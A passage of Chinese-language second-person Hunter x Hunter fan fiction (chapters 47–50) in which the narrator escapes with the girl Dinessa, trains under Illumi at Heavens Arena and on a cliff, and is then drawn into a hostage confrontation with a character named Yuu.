“好吧,我还有一样东西没有拿到。我现在去找,你帮我拿一下这本书。”
“喂,我可没时间在这浪费啊。”
你接住被他扔过来的书。
……
……这本书里写的是什么呢?
当你真正接触到它时,你发现自己在恐惧之外,还有着一丝好奇。
那么,只看第一页吧。打定主意后,你翻开了这本「记录地狱之书」。
你看到了一个鲜红的血手印。
47.No.012 决心
“把书还给我吧。”
你抬起头,去而复返的库洛洛手里多了一盒录像带。
“你动作还挺快的。”你皱了皱眉,合上书递过去,“喜好也很特别。”
“哈哈,我就当你是在夸我了。要一起出去吗?”
颈后的刺痛变得明显,进入了最后的十秒钟。你摇摇头,捞起迪妮莎的腿,“不了,还有人在等我。”
“那可真是太遗憾了。”
你的表情可不是这么说的,库洛洛。==
“你叫什么名字?”
“洛特丝。我们还会再见面的,库洛洛。”
虽然是另一个时间,另一个名字,另一张脸。
倒计时结束的刹那,你的身体仿若离弦之箭般飞了出去。
在你对「念」的认知中,有这样一句话:念力修行的关键在于坚持与决心。
坚持很好理解,每天修习念的四大行,辅以应用技,不断提升熟练度,融会贯通。
而决心是目标,须得是真实明确,而非虚无缥缈的目标。如果将“变得强大”作为目标,那么“强大”一定要以真实的形态出现,譬如某个特定的人,而不能只是作为概念。
两者共同决定了一个念能力者的水平上限。
你能做到前者,对后者却很难把握。比如,用「周」将气附在刀上,抱着“我一定要杀死你”或“我一定要斩断它”的决心,攻击的强度会大幅度提升。念的提升速度与之同理。而这恰恰是你不擅长的地方。以至于你习念至今近九个月,能力本身却没有增强太多。
与你形成鲜明对比的就是伊尔迷,他开念还不满三个月,成长速度快到让你觉得恐怖的程度。
此刻,插在你脖子上的念针完全接管了你的身体,你的主观意识被一道明确的指令压制,让你生不出任何反抗的想法,极其清醒地感知着一切。
“你”背着迪妮莎,巧妙地藏身于楼梯拐角的暗影中,躲过从上层跑下来的保镖们,而后以你自身很难达到的观察力和敏捷度,在他们错开视线的瞬间翻身上楼。
别墅里响起警报声,金库的异常已被发觉。“你”冷静地利用着人们的视野盲区,以最快的速度经由最短的路线逃出庄园。保镖中有三个念能力者发现了你,追在你身后,“你”没有与他们纠缠,径直奔往下山的车道。
一辆汽车从路旁的树林里冲出,路过你时侧面的车门打开,“你”带着迪妮莎跳上去,伸手拉上车门。
「操控解除」,你跌在座位上,车速持续攀升,以一种要将人甩出去的力量惊险地拐过弯道,你抓紧了座椅,惊魂未定地瞪着驾驶座上淡定非常的伊尔迷。
“你有驾照吗——”
“下一个弯道跳车。”
“什么?!”
车身猛地打弯,你感觉后颈一痛,手臂自发的捞起迪妮莎,扭开车门跳出。身后传来巨大的碰撞声,空气仿佛都在震颤,“你”没有回头,紧跟着伊尔迷坠入幽暗的山林。
*
直到后半夜,你们才成功甩掉所有的追踪者,回到了旅馆。
你几乎是立刻跪倒在地,心跳过速,汗如雨下。一只手摸到你的颈后,拔掉了念针。被刺穿的部位仍在发烫,念力过度调配后,全身的气都陷入了紊乱。
“葵,集中精神,用「绝」。”
那只手捂住你的脖子,你闭上眼,强行封住所有的气。断绝气的流失有助于快速恢复,你平复了好一会,才抓着他的手借力从地上爬起来。
“……你那根针的效果……还真是不同凡响。”
“嗯,试了很多次,只做出来这一根。”伊尔迷向你展示着手上的念针,“它能让你的身体最大限度的发挥实力。你对家里的训练适应得不错,可以进入下一阶段了。”
“下一阶段?”你反应过来,摇头拒绝,“不行不行,今天晚上那种程度,我一时半会都还达不到呢。”
“你只是缺乏练习,我会跟爸爸申请多给你分配任务的。”
你的表情垮下去。
伊尔迷的嘴角翘了一下。
“还有这个,你打算怎么处理?”
伊尔迷看向被你带回旅馆后就一直安静地站在门边的女孩,对方在接触到他的目光时,全身都警惕地绷紧了,野兽般龇了龇牙。
“她叫迪妮莎。我见到她的时候,她看起来跟我差不多大,唔,现在应该不到十岁。她好像还不会说话,我们先带着她吧……就不要告诉家里了?”
“妈妈不放心你,派了管家暗中跟着我们,她已经知道了。”
完全没发现呢。==
“那,家里面的意思是?”
“只是作为宠物就随你喜好。”伊尔迷抓出几根他常用的那款念钉,“危险性太高就杀了。”
迪妮莎的瞳仁瞬间缩成竖线,你赶紧拦住莫名释放杀气的伊尔迷,“好啦好啦,你不要吓唬她。我大概知道她家在哪里,送她回去之前,我会照看好的。就算找不到她的亲人,我也会找靠谱的人家收养她。这样可以吗?相信我,不会有麻烦。”
“好。”伊尔迷收起了念钉。
……他这个收放自如的杀气跟排练好的一样。
“管家们还在这里吗?”
“嗯,确认了你能完全适应家族任务才会离开。不会干涉我们的行动,不用在意。”
这不就像身边装了隐藏摄像头一样吗?怎么可能不在意!不过你也没什么办法就是了……
“伊路,你第一次做任务的时候,也有管家跟着吗?”
“没有呢。是爸爸亲自跟着我的。”
恐怖,恐怖如斯!
有这个做对比,你顿时觉得只是几个管家好像也没那么不能接受了。
你看了看被晾在一旁的迪妮莎,“我想先帮她洗个澡,可以拜托你买两件衣服回来吗?嗯……她的头发和眼睛的颜色都太显眼了,应该还需要一些伪装的东西。”
“好。”
“啊,如果路上有卖吃的东西的,也拜托你带一些回来。”
“好的。”
*
虽然你向伊尔迷保证过不会有麻烦,但你的麻烦才刚刚开始。
迪妮莎很不喜欢水。她在进浴室时表现得还很乖巧,水一冒出来,她就唰的跳出了浴缸。你只好换成淋浴喷头,然后她就像你以前在村里帮忙照顾过的猫一样,灵活地躲开了所有的水柱。
不得不说,这个天赋不去当杀手可惜了。
……不对,你的思想怎么在往这方面同化?可恶!
“用这个帮你擦一下可以吗?或者你自己来?就像这样——”
你拿了一条毛巾,浸湿后示范性地擦了擦脸。
“唔?”
迪妮莎睁大眼睛疑惑地看着你。
“这是妆啦,喏,我长这样。”
你卸掉了脸上的伪装,迪妮莎抬手轻轻戳了戳你的脸。
“是真的哦,不是面具。”
迪妮莎歪了歪头,轻轻捏住你的脸颊,拽了拽。
救命,好痛。
一个多小时后,你艰难地帮她擦洗完,换上了干净的衣服。
原本还要吹头发,她从你的胳膊底下钻出去,像狗狗抖毛那样唰唰几下就把头发完全甩干了,一点都不晕的睁着圆圆的眼睛看着你。
……不愧是被称为怪物的体质。
“嘛,出去吃点东西吧。”
桌上摆着三份咖喱饭。
伊尔迷面无表情地坐在凳子上发呆。仔细想想,他好像没什么业余爱好,从你认识他开始,似乎连电视都没见他看过。
“抱歉,你等很久了吧。”
“你的脸怎么了?”
“呃……没事,就是被捏了一下。这么晚了竟然还有地方卖咖喱饭?”
你把勺子塞给迪妮莎,制止了她用手抓饭的行为。
“没有,我用楼下的厨房做的。”
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“哎?”
伊尔迷会做饭这件事倒也不奇怪,在不具名村的时候,他就做过很多回,然后在里面加上毒药……
“你往饭里下毒了吗?”
“当然。”
你扭头看向正在用勺子刨饭的迪妮莎。
……完全不受影响呢,不愧是被称为怪物的体质。
*
你们天没亮就退了房。
原本只有你和伊尔迷两个人,倒不必这么着急,但现在带着一个拍出了500亿身价的迪妮莎,为了避免夜长梦多,还是要尽快离开梅叶城。
你们把迪妮莎伪装成男孩子的模样,藏起了她那头特征性的红发,你还想让伊尔迷给她的脸上做些修饰,但迪妮莎对他非常抗拒,一直躲在你身后不让他碰到,遂放弃。
出乎意料又理所应当的,你们顺利登上了飞行船。目的地是天空竞技场,它位于这片大陆的西南部,与枯枯戮山的方向正好相反。
上船后,你的精神就放松下来,这趟旅程大约要花上三天,由于你们三个昨天晚上都通宵没睡,你提议先去房间里补觉。伊尔迷没有意见。
路过餐厅时,迪妮莎拽了拽你的衣服。她虽然还不会说话,但已经很会表达自己的想法——她饿了。
其实在去机场的路上,你们都吃了早饭。是因为小孩子需要长身体,对营养的需求量大吗?你完全没有这方面的经验呢。
一段时间后,你看着餐桌上的一叠空盘,陷入沉思。
“这位客人,您点的猪排饭——”
“谢谢。”
你按住盘子,看向迪妮莎,“这是最后一份了,不可以吃太多哦。”
岂止是吃太多,都已经是第十份了,小孩子的胃真的能装得下这么多食物吗?
迪妮莎握着勺子,眨巴着眼睛,显然没听懂你在说什么。但她发现了你不想把盘子给她,脸上露出个可怜巴巴的表情。
“……算了,你先吃。”她这样你真的会有罪恶感的。你苦恼地揉了一下脸,养孩子比你想象中要难啊。
“伊路,十岁的孩子,这个饭量正常吗?”
“唔,糜稽每顿只吃三人份,倒是三毛这么大的时候,跟她差不多。”
……槽点太多无从吐起。
迪妮莎最后吃了二十人份,终于饱了。可怕的是,她没有任何撑到的迹象,蹦蹦跳跳的仿佛刚刚吃进去的东西都进了异次元。该说什么?不愧是被称为怪物的体质!
*
你们定的船舱是双人间,算是出门在外的标配。之前在不具名村的时候,因为房间里只有一张床,你和伊尔迷就轮流睡地铺。任务期间则是为了方便随时交流,而且还能省钱,后者是你这两天才逐渐体会到的。
窗帘的遮光性不错,拉上后很快就使人产生了困意。飞行船运行得很平稳,你闭着眼睛,渐渐沉入梦乡……
咚——
你没有感觉到杀意,毫无防备地被踹下了床。你昏昏沉沉地爬起来,眼前是睡得横过来的迪妮莎。你把她的身体摆正,拉起被子再度昏睡……
咚——
你爬起来,借着微弱的光线摸到另一张床上,“伊路,你醒着吗?”
你摸到了一只手。
“怎么了?”
哦,醒着啊,难为他一点声音都没有。
“你往里面让让,我好困。”你打了个哈欠。
那只手收了回去。
你默认他同意了,掀开被子的一角爬上床,陷进软绵绵的枕头里。被窝很暖,你的眼皮发沉,意识也渐渐模糊。
“伊路……我好像……有点明白你的感受了。”养孩子好难,有四个弟弟肯定更不容易……要努力赚钱……
脸上传来很轻的触感,你能感觉到他在看你,但你实在困得睁不开眼睛,“干嘛捏我脸……”
你没听到他的回答。
……
“报酬。”伊尔迷收回了手。
48.No.013 格斗场
天空竞技场,高991米,共251层,有野蛮人的圣地,格斗的麦加之称,是任何一个想要磨练身手的人都不容错过的试炼之地。
你在飞行船上远远地看见了这栋标志性建筑,兴奋之余有点紧张。毕竟你不是作为观光客,而是要以选手的身份入内。并且,你还要在比赛的间隙继续完成委托。
没错,揍敌客家的暗杀工作源源不断,按出场费和分工,主要由桀诺爷爷、席巴和伊尔迷三个人完成。就算只筛选出酬金在5千万以上的,数量依然庞大。
你在揍敌客家训练的那段时间很少见到伊尔迷,就是因为他在赶六月份没完成的工作。听起来就很地狱是吧。
梅叶城的两个委托结束后,你的手机也被接入了揍敌客家的内网,以邮件的形式接收可供选择的订单。是的,并没有要求你全部接下,而是可以按照个人喜好挑选,每个月也没有限定的最低任务量这一说法,相当人性化呢。
那么伊尔迷为什么还一直在努力工作呢?
他给你看了一张清单,上面是揍敌客家上个月的支出,包括了老宅维修费、院子(树海)维护费、管家培训费、差旅费、日常生活支出、糜稽和奇犽的零食费……林林总总,甚至还包括了三毛的狗粮费。而占了收入大头的暗杀委托,还要扣除交给巴托奇亚共和国的天价税额。是一张看了会使人头晕目眩,想要吸氧,压力倍增的清单呢。
你还粗略计算了一下三毛在食物上的每日消费,和迪妮莎这三天花掉的差不多……咳,你知道自己不该这样比较,但的确没有别的可以参考。你以前是一人吃饱全家不愁,现在果然还是要努力赚钱才行。
于是你认真挑选了分配下来的委托,它们都是通过揍敌客家的专门网站或专用邮箱下单,没有特别指名雇佣对象,酬金在5千万到8千万之间。
“为什么之前的两单会有20亿?”
你后知后觉的想到了这个问题,总不能是一单6千3百万,一单20亿吧?
“那两单都是爸爸转过来的,他的委托费向来是10亿起步。”
原来如此。但你还有另一个疑惑。
“为什么一个普通的公司职员,会有人花10亿买他的命呢?”
伊尔迷没有立刻回答你,他飞快地瞥了眼在一旁咕噜咕噜喝果汁的迪妮莎。
“你真的想知道?”
他果然知道原因!你点头。
“蔷薇少女是从那个人的家里找到的,他应该是有着守护相关的念能力,只有自身死亡才会解除。”
你还在震惊中,伊尔迷又补充道,“你没有放他走是对的,一旦他有机会发动能力,想要完成任务就没那么容易了。”
“……所以委托人是克莱恩那边的?”
“是克莱恩本人。”
“那另一单的委托人又是谁?”雇佣揍敌客家杀死克莱恩的人,你心里隐隐冒出个名字。
“这一单是我负责的,唔,雇主的信息不能随便透露呢。”
你从口袋里摸出一根买给迪妮莎的珍宝珠,剥开后递到他面前,伊尔迷张嘴咬住,大大的猫眼眯了眯。
然后他告诉了你一个名字。
你猜的没错,第二单的委托人正是那名职员,看来他很清楚是谁想要带走迪妮莎。
“不是说雇主死亡后,订单就自动取消了吗?”
“嗯。”伊尔迷点点头,“但是他提前支付了全部的委托费。”
这很合理,很有职业道德……说到底,你是个自我的人,只关心自己在意的东西,在揍敌客家从事的职业上过多纠结并无意义。你很快就调整好了心情。
其实你还发现了一件事。经过这几个月的相处,你发现伊尔迷对你相当坦诚,基本上是有问必答。这也就意味着,很多东西只要你不问,他是不会主动说出来的。
“为什么一直看着我?”
“我在想,你有没有隐瞒什么事情。”
你托着下巴,认真回忆着。
坐在你旁边的迪妮莎喝完了果汁,你拿出一根珍宝珠递过去,嘱咐她不要咔嚓一下直接吃完。
“隐瞒?”
“嗯,比如……”你的脑中闪过一大片蝴蝶状的花朵,“比如我们离开不具名村的前一天,你和小优在河边说了什么?”
你竟然到现在才想起来。你那天明明是打算见到伊尔迷就问他的,结果遭遇了后来的一连串事件,把这个彻底忘了。
“啊,你看到了。”伊尔迷的表情没有任何变化,“没有隐瞒哦,是葵没有问而已。”
“所以你们说了什么?”
“我们打了一个赌。我还没有拿到全部的赌注,所以内容不能告诉你。”
“你赢了?”
“嗯。”他的声音听起来有点得意。
“这个赌约,该不会跟我有关吧?”你眯起眼睛。
“是的。”伊尔迷大方的承认了。
你伸手在他的脸上捏了一下。伊尔迷没有躲开,像是愣住了。
“等你能说的时候,一定要告诉我。”
“……嗯。”
*
确定了后面的工作安排,接下来就是去天空竞技场报名。飞行船可以直接开进竞技场的内部,你们下到一层,在大厅里等候的参赛者多得超乎想象。你从工作人员那里领回一张报名表,伊尔迷和迪妮莎一左一右的围住你,看着你填。
“伊路,你真的不一起报名吗?赢了不是会有奖金?”
“没必要,下注会更赚钱。”
下注是天空竞技场的特色,在选手比赛前进行押注,押中胜者就算赢。有经验的人应该很容易判断出谁会获胜。
“好吧。”你低头填表。
首先是名字,你写上了“葵·揍敌客”,没办法,你原先的身份信息在这里不能使用,现在这个是揍敌客家帮你重新办理的。然后是生日,1972年5月5日,年份也是假的。接着是竞技场经验,没有……
“这里选''有''。”
伊尔迷伸出一根手指挡住了“无”字。
“欸?”
“你在训练时有和管家打过吧?”
“有是有……”那也算格斗吗?
你圈住“有”字。
“这一行写十年格斗经历。”
“欸?”
“可以分到好一点的对手,更快升到高楼层,一百层以上有私人房间。”
明白了,可以省下住宿费。你从善如流的在1后面添上0。最后是格斗风格,嗯……一击必杀?这一栏应该不重要,你快速填完后交回了报名处。
第一场比赛很快就被安排上,场中是16个大小一致的擂台,从A到P排序,你被分在C擂台。这一层的参赛人员众多,是以每场比赛都有三分钟的限制。
你的对手是一个看上去很有经验的大叔,但他的速度比起揍敌客家的管家们还差上不少,你轻松地躲开他的攻击,一拳打在他的腹部。他飞了出去……糟糕,你忘了自己现在的臂力有4吨了。啊,他爬起来了,看来人没事。
“1665号,你去六十层。”
裁判递给你一张票据。
“凭票据兑换奖金。”
“谢谢。”
二百层以下的比赛都是以十层为一级,每赢一场升十层,输一次降一级,也就是说你今天至少还需要再赢四场,才能得到房间。你琢磨着,走出赛场。
伊尔迷和迪妮莎等在场外,中间隔着一米的距离。经过飞行船上的短暂相处,迪妮莎对伊尔迷已经没那么抵触了,虽然也谈不上亲近。你觉得她最开始的反应完全是因为伊尔迷故意对她放杀气。
迪妮莎的性格很纯粹,她对危险有着野兽般的直觉。和她缓和关系的方式也格外简单,就是“投喂”。伊尔迷对此很有经验,他的原话是“狗会记住给它喂食的人,
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并对那个人产生好感。”
你在离开枯枯戮山之前,的确看到后期的训练计划上有着“给三毛喂食”这一项,但是怎么能真的把迪妮莎跟三毛作比较呢!你义正辞严地表示自己没有把迪妮莎当作宠物,她拥有独立的人格。
“如果你坚持的话,好吧。”
伊尔迷对很多东西的看法都和你不同,或者说,你的思维模式和揍敌客家就是不一样的。你们俩都很清楚这一点,但不会强求对方改变,也不至于因为这个吵起来。
不过,在伊尔迷说完那句话之后,你发现他的行为模式发生了一些转变。比如现在,迪妮莎刚扑到你身上,就被他揪住后脖子扯了下来。迪妮莎瞬间炸毛,对着他龇牙踢打,被他轻松挡住。
“她应该学会独立,奇犽都不会这么撒娇了。”
你们这边的情况很快就引起了其他人的注意,你赶紧把他们俩拉开,“这样吧,刚好我今天还有很多场比赛要打,你带着迪妮莎到处逛逛。嗯……加深一下感情,等我升上一百层再联系。”
“好。”
你把迪妮莎从身后拖出来,摸了摸她的头,“跟大哥哥出去玩吧,他会给你买吃的。”
伊尔迷配合地从口袋里抓出一把糖果。
迪妮莎拽着你的衣角,不为所动。
伊尔迷又从另一边的口袋里抓出一把戒尼。迪妮莎往前迈了一步。嗯,她已经知道钱可以用来买吃的了。
你顺利地把她推过去,看着伊尔迷把硬币和糖都放进她的背包里。但愿你们这种教育方式不会对她的性格造成什么不良影响。
*
在六十层完成登记后,很快就迎来了下一场比赛。这次的对手和一层完全不是一个等级,但对你来说还不算有难度,后面的三场比赛同样如此。
念的修行和揍敌客家的特训使你的身体素质有了极大的提升,并且随着战斗次数的增多,你能感觉到自己在逐渐适应这种节奏。
真正的困难还在后面,那就是念能力者之间的战斗。虽然到目前为止,你的对手还都只是不会念的普通人,但是迟早会遇上的。而你目前最大的问题是,你的念没有攻击性。
诚然,「花吐症」是具备杀伤力的,而且是一旦感染,在你的主动催发下一定速死的杀伤力。但是,且不说它的前提是单相思,只为了赢得胜利就致对手于死地也太过头了。所以你不但不能在比赛中使用它,为了对手的生命安全,你还要注意不能让自己流血。
你左手的「红线」可以在擂台上无条件的控制对手,趁着对方无法动弹时快速取胜也是一种方法,但这和你来到天空竞技场的初衷背离,起不到锻炼的作用。因此这项能力也排除。
剩下的两个能力里,「占卜」是完全的辅助技能,「控制」不能用在人类身上(理由同花吐症),如果用来控制动物,在战斗中顶多起干扰作用,就算你把气全部转移到动物身上,攻击效果恐怕还比不上直接用拳头。
说到底,你的这些念能力的适应方向,除了杀人魔,就只有辅助位了。你当然不可能放任自己成为杀人魔,一对一的比赛也谈不上打辅助,到头来,果然只剩下一种办法……
你给伊尔迷打了一个电话。手机里传来嘈杂的人声。
“你那边怎么这么吵?”
“我们在''欢乐之家''。”
背景音是小孩子的大笑与尖叫,你大概理解了“欢乐之家”是什么地方。
“迪妮莎呢?”
“她玩得很开心。你要下来吃晚饭吗?”
“好。你收到天空竞技场的汇款了吗?”你填的是伊尔迷的账户。
“嗯,你的速度很快。”手机那头的杂音小了些,他应该是换了地方,“是还有别的事吗?”
“对。”你靠在窗边,侧头看向一百层楼下渐次点亮的城市灯火,“伊路,我想要变得更强。上次你说的''下一阶段的训练'',我接受。”
49.No.014 勇气
“不,我不要跳下去。”
你故作冷静地将目光从眼前的深谷转移到伊尔迷的脸上,一只手紧紧抓住他的手腕,“换个训练方式吧。”
伊尔迷盯着你看了三秒钟。
“你后悔了吗?”
“……没有,我只是觉得跳崖并不能使我变强。”你艰难地扯出笑容,“而且这里这么偏僻,出了意外都来不及抢救呢。”
揍敌客家派来的人都被留下来照顾迪妮莎,这处裂谷的方圆十里内只有你们两个活人,简直是毁尸灭迹的最佳地点。
“伊路,我们回去吧?迪妮莎不知道有没有乖乖吃饭呢……”
伊尔迷完全不为所动。他转了转手腕试图挣脱,你立刻两只手一起拉住他,“会死的,我会摔死的!”
你人生中仅有的两次“蹦极”体验告诉你,超过一千米的高度差带来的冲击力恐怕用上「坚」也挡不住。
“不会的,只有两千米。”伊尔迷抬起另一只手,轻轻拍了拍你的肩膀,“别担心,葵。”
更担心了吧!那可是两千米!不是两百米!
你咬了咬牙,“要不然改天?我什么护具都没有带呢。”
“为什么要带护具?”
你没说话,沉着脸和他对视了两秒,伊尔迷轻轻“啊”了一声,点点头,“我明白了。”
你不明白他明白了什么,但你很快就明白了,因为他突然就拽着你从悬崖上跳了下去。
“你疯了吗——会死的啊啊啊啊——”
你的心率一路飙升,一时间脑子里除了“完了完了完了”以外什么都没有,伊尔迷拨开你的头发,说了句什么。可你的耳边除了风声就只剩自己剧烈的心跳,你什么也没听见。
他凑近你的耳朵。耳廓传来的痛意唤醒了你的一点理智,你听到他说,“葵,还有十五秒。”
还有十五秒怎样?还有十五秒你们就要一起变成崖底的烂泥了!
你顾不上去想伊尔迷有没有留后手,因为他在说完那句话之后就开始在你耳边倒计时。
“十三、十二、十一……”
怎么办怎么办……念……坚……
啊啊这家伙怎么这么冷静!
“十、九、八……”
想想办法……办法……
蹦床……蹦床?
“七、六……”
全身的血液仿佛都逆行到了头顶,眼前蒙上一层薄红,你扯住伊尔迷的头发,大喊,“念针!”
他眨了眨眼睛,将一根细长的念针塞进你的手心。
“五。”
你攥住它,用力划开了手腕。
“四。”
喷涌而出的鲜血在念力牵引下化作千万根红线,于崖壁间织出一张绯色的巨网。
“三。”
你们狠狠地撞上了这张网,数不尽的红线接连崩断,又再次交缠,巨大的冲力被一层层卸去,最终在距离崖底不到百米处堪堪停滞,你瞪着伊尔迷平静无波的双眼,心跳几乎停止。
“一。”
最后一层念网在重力撕扯下崩裂,你们摔到了地上。
预想中的疼痛没有到来,伊尔迷垫在了你的身体下方,你们翻滚几圈后停下来,垂落的丝线裹住身体,几乎将你们缠成了一个茧。
“伊路。”
你挣扎无果,示意伊尔迷动手。几下轻微的动静,你们从束缚中挣脱出来,你坐起身,看着他指尖正缓缓缩回去的爪子,重重地喘了口气。
幸好揍敌客家有这个技能,否则你就要成为被自己的念能力坑死的第一人了。不过眼下你没有多少劫后余生的喜悦,你一想到刚才的事,就气不打一处来。
“你就没什么想说的吗?”
“葵,你成功了。你做得很好。”
你怀疑他只会这一句。
“我不是让你夸我。”你深吸一口气,瞪着他的眼睛,“你怎么能不打招呼就往下跳!你就没想过我要是没成功怎么办?我要是没想出办法怎么办?你是想让我们一起死在这里吗?”
“不会死的。”
“你拿什么保证?”
“葵,你说过你在十年后见过我,所以我不会死,你也不会。”
“……”
你捋明白了他的逻辑,但你还是摇头,“不,就算你知道自己现在不会死,也不能仗着这个就去作死,尤其是拉上我一起。”
伊尔迷看了你两秒,突然问,“你是在害怕吗?”
“哈、哈。”你干笑两声,沉下脸,“我不能害怕吗?这么危险的事一般人都会怕吧?你是不是对我有什么误解?还是说,你又要拿我跟三毛作比较了?”
你猜不出他会怎么回应。刚认识他的时候,你不知道他的真实身份,一度以为被他拿来鞭策你的例子代表的是外界平均水平,直到离开不具名村,才发现完全被骗了。
伊尔迷沉默了一下,却问你,“你为什么觉得自己是一般人?”
嘶,他这个问法,但凡你顺着他的思路想下去,立刻要飘。
你正色道,“因为我本来就很普通。我从一开始就没有什么远大的理想,成为最强、出人头地什么的,通通没想过。走到今天这一步,不管是开念,还是来到十年前,都是误打误撞而已。”
“葵,一般人是不会只接受了4周的训练就成长到你现在的程度的。”
4周?
你先是一愣,紧接着回想了下,发现真是4周,前两周在不具名村,后两周在枯枯戮山,剩下的时间里你都在昏迷。
“就算你这么说,”你手动压下上翘的嘴角,让自己保持严肃,“我的自我认知一时半会也是没法改变的。你不理解没关系,我只希望你以后不要拉着我做这种冒险的事,我很惜命的。”
“人的潜能要在绝境中才能爆发出来呢。”伊尔迷的语气略有遗憾,“你坚持的话,好吧。但是葵,拍卖会那天,为什么你明知道危险,还要去救人呢?”
你没想到他会提起这件事,说实话,你没有深思过当时做出决定的原因,比起权衡利弊,那时候的你更多的是出于冲动吧?觉得迪妮莎不该被关在那里,所以要救她出来。
“我不知道。”你摇摇头,“我没想那么多。也许是你说的那样,我在十年后见过迪妮莎,知道她不会死,就觉得自己也不会有事。”
但是那天如果不是伊尔迷在,只凭你自己,恐怕很难逃出来。
“我承认,那天是我冲动了,可能在我的观念里,为了救人冒点风险是值得的。”
“可是你只见过她一次。”
“是。”你点点头,皱起眉,“在那种情形下,就算笼子里关着的是我不认识的人,我也会去救的。我知道在这个世界上这样的事还有很多,但是我亲眼见到了就没法不在意。”
你想了想,又添上一句,“如果哪天你遇到了危险,我也会去救你的,就算要我再从两千米高的地方跳下去,我也愿意。”
你并不习惯说这样的话,但你知道自己的承诺是认真的。
“你的意思是,为了我,你哪怕害怕,也会冒险吗?”
你觉得伊尔迷的理解和你
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想要表达的意思有出入,但是具体哪里不一样,你一时也转不过弯。
“是吧。”
“我明白了。”伊尔迷轻轻敲了下掌心,点头,“不用等到那个时候,离天黑还有七个小时,你现在就爬上去再跳一次吧。这样晚饭之前,我们就能回去了。”
“???”
“你不愿意吗?”
“不是,你——”你属实是被伊尔迷的脑回路震撼到了,如果你不照做,好像显得你刚刚说的话都是骗他的一样,但他现在哪有危险啊!
“啊,如果你需要仪式感。”伊尔迷从地上捡起一根红线,往手腕上打了个结,“你可以出发了。我没有''拉着你'',我会在这里等你来''救''我。”
“你是魔鬼吗?!”
*
伊尔迷是个神经病。你一边攀岩一边腹诽。不过,你倒不是因为被他“道德绑架”才照做的。出发之前,他总算跟你解释了安排这种训练的原因——
按他的说法,一名合格的杀手除了要有优秀的身体素质,更重要的是心理上的稳定,比如不能在潜伏阶段因为紧张暴露位置,或是动手的时候因为害怕手滑等等。当然,例子是你自己脑补的。
“所以这些和跳崖有什么关系呢?”
“你的情绪起伏太大了。”
“?”
按照这个标准,揍敌客家这一代最适合做杀手的是伊尔迷和柯特,但是大家一致认为奇犽的天赋最高,虽然他前段时间才刚开始接受训练。
要说心理素质,揍敌客家的每个人都不正常,你作为一个原本的“普通人”,要想向他们看齐,实在有些困难。所以伊尔迷的想法很好懂:战胜恐惧的方法是直面恐惧,害怕跳崖会死就多跳几次,渐渐的就平静了。
他说服了你。
除此之外,还有另一个原因,就是你在压力下成功开发的「红线」。
这种红线和你十指上用于控制的那些不同,性质更像玛奇的念线,区别是并非由气转化成,而是由血液,所以不能用「隐」将其隐藏,也无法回收。
你不是变化系,对气的形态控制没那么擅长,只能借助血液这种实物,当它们转变成红线后,“接触即有概率感染花吐症”的被动技能随之消失,你可以放心使用。
红线的数量没有限制,取决于你的血量,韧度、强度则取决于你的气。红线未离体时,理论上可以一直存在,离体后最多存在24小时,到期变回血液,并重新获得花吐症的感染性,但是由于新鲜度较差,感染概率也会极大的降低。
整体而言,还是很安全的。
你手腕上先前划出的伤口已经做了简单的处理,只留下一处还在冒血的,血珠凝成细细的红线,向崖壁下方延伸,它的另一端系在伊尔迷手上。
你想试试这根线可以延伸到多长,也就是说,你最多能控制多长距离的红线。此外,你还打算爬到崖顶后找一个东西把线固定住,就可以把它作为“蹦极”的绳索,测试它的韧性。
以上是你的构想。
为了避免腿软,你全程没有往下看,不记得爬了多久,耳边只有山崖间穿行的风声,让你感觉背脊发凉,有点后悔没有拉上伊尔迷一起。
滴滴滴滴滴滴!
你差点被手机铃吓得掉下去,险而又险的扒住了一块山石,从衣兜里把它掏出来。
来电的是个陌生号码。
“你好?”
“呵。”
你下意识抓紧了手机,“你是谁?”
“好久不见,揍·敌·客小姐。”
50.No.015 信任
“……小优。”
“啊呀,您还记得我,荣幸之至。”
距离那件事已经过去了两个月,但是当你再一次听到他的声音,就仿佛又回到了那个冰冷的晚上。
“你打电话来有什么事?”
你没有问他是怎么拿到的号码,就结果而言,它不重要。
“都不跟我寒暄一下吗?好歹相处了两个月呢。”
你没吭声。
“真让人嫉妒。明明是我先认识你的,你为什么跟那家伙关系更好呢?”
“你有完没完!”你攥着手机,控制不住地大吼,“那些事情我一天也没有忘记过,你凭什么用这么轻飘飘的语气?说吧,你又想干什么?”
“冤枉啊,你不是都已经查到了,那个村子里关着的可都是死刑犯,牺牲他们救一些平民,有什么不对吗?”
“孩子们是无辜的。”
“犯罪者的血脉没有延续的必要,让那些孩子成长起来,不过是世界上又多一批受害者。”
“我不认同你说的话。”你深深地呼吸,让自己冷静,“你打电话给我,应该不是要来讨论这个的。”
“好吧。其实上次那道选择题,我有没弄明白的地方,想要找你再确认一次。你愿意再陪我玩一场吗?”
“我拒绝。”
“那我换个说法。如果这次你的答案令我满意,我会告诉你一件你最想知道的事。”
“我自己都不知道那是什么。”
“请听我说完——如果你拒绝,或是你的答案让我不满意,你就再也见不到你从梅叶城带走的女孩了。”
他说的是迪妮莎。你和伊尔迷出门前把她托付给了管家们。
“你怎么证明你说的是真的?”
“很简单,你回去看一眼就知道了。不过都这个点了,他应该接到电话了才对。呵,是不是觉得不重要呢。”
不。你手腕上的红线在轻轻振动,这是你在出发前和伊尔迷约定过的信号。
“时间、地点。”你不想过多纠缠。
“今晚八点,琥珀街123号。你要一个人来哦。”
“好。”你没有犹豫,挂断电话后松开手,坠入红线指引的深谷。
*
七点五十分。
琥珀街123号。
风琴状的建筑物矗立在夜里。
整条街的路灯都已熄灭,月色也暗淡,只听得到你一个人的脚步声。
你停在街道尽头。
“就到这里吧,不要跟进来,伊路。”
没有人回答,但你知道他听见了。
大门在你身后关闭,眼前是巨大、空荡的展厅——本该摆满雕塑的展台上空无一物,墙上也只剩下光秃秃的画钉,在稀薄的月光下泛着点点银色。
“你很准时,我很高兴。”
模糊的人影从展厅深处的黑暗中析出,年轻的脸暴露在穹顶的天窗下,浅绿色的眼睛里带着笑意。
你站在原地,问他,“迪妮莎在哪?”
“她在一个很安全的地方。”注意到你眼中的怀疑,小优的嘴角耷拉下去,“在你看来,我是什么十恶不赦的人吗?我活到现在可是一个人都没杀过呢。”
你险些笑出来。
的确,他带走迪妮莎时,只是打晕了管家们。村子里的人也不是他杀的,因为动手的人,是你啊。
“你这次又想做什么呢?是在哪里安装了炸弹,要我主动按下开关,才肯把迪妮莎放走吗?这样一来,你的手上还是干干净净的,是不是?”
你毫不掩饰话语中的讽刺。
小优看了你几秒,突然弯腰大笑起来。
